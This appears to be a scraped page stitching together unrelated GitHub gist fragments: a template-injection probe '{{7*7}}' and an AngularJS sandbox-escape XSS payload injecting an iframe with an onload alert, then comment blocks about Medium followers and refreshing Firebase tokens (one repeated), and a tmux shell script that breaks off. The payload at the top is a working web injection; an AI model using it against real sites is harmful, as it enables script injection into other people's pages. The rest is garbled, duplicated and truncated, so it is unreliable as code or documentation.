{{7*7}}
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
If we have the following structure in our application:
And we fill our index.php with the following content just to get a basic website with a form working. You should be able to run this through a php-server of your choice.
| /** | |
| * Example of how to get the number of followers for a Medium.com User. | |
| * | |
| * | |
| * Related links: | |
| * https://github.com/Medium/medium-api-docs/issues/30#issuecomment-227911763 | |
| * https://github.com/Medium/medium-api-docs/issues/73 | |
| */ | |
| // LODASH | 
| /** | |
| * This script expects the global variables 'refresh_token' and 'firebase_api_key' to be set. 'firebase_api_key' can be found | |
| * in the Firebase console under project settings then 'Web API Key'. | |
| * 'refresh_token' as to be gathered from watching the network requests to https://securetoken.googleapis.com/v1/token from | |
| * your Firebase app, look for the formdata values | |
| * | |
| * If all the data is found it makes a request to get a new token and sets a 'auth_jwt' environment variable and updates the | |
| * global 'refresh_token'. | |
| * | |
| * Requests that need authentication should have a header with a key of 'Authentication' and value of '{{auth_jwt}}' | 
| /** | |
| * This script expects the global variables 'refresh_token' and 'firebase_api_key' to be set. 'firebase_api_key' can be found | |
| * in the Firebase console under project settings then 'Web API Key'. | |
| * 'refresh_token' as to be gathered from watching the network requests to https://securetoken.googleapis.com/v1/token from | |
| * your Firebase app, look for the formdata values | |
| * | |
| * If all the data is found it makes a request to get a new token and sets a 'auth_jwt' environment variable and updates the | |
| * global 'refresh_token'. | |
| * | |
| * Requests that need authentication should have a header with a key of 'Authentication' and value of '{{auth_jwt}}' | 
| #!/bin/sh | |
| SESSION_NAME="big_red" | |
| cd ~/Sites/within3/big_red | |
| tmux has-session -t ${SESSION_NAME} | |
| if [ $? != 0 ] | |
| then |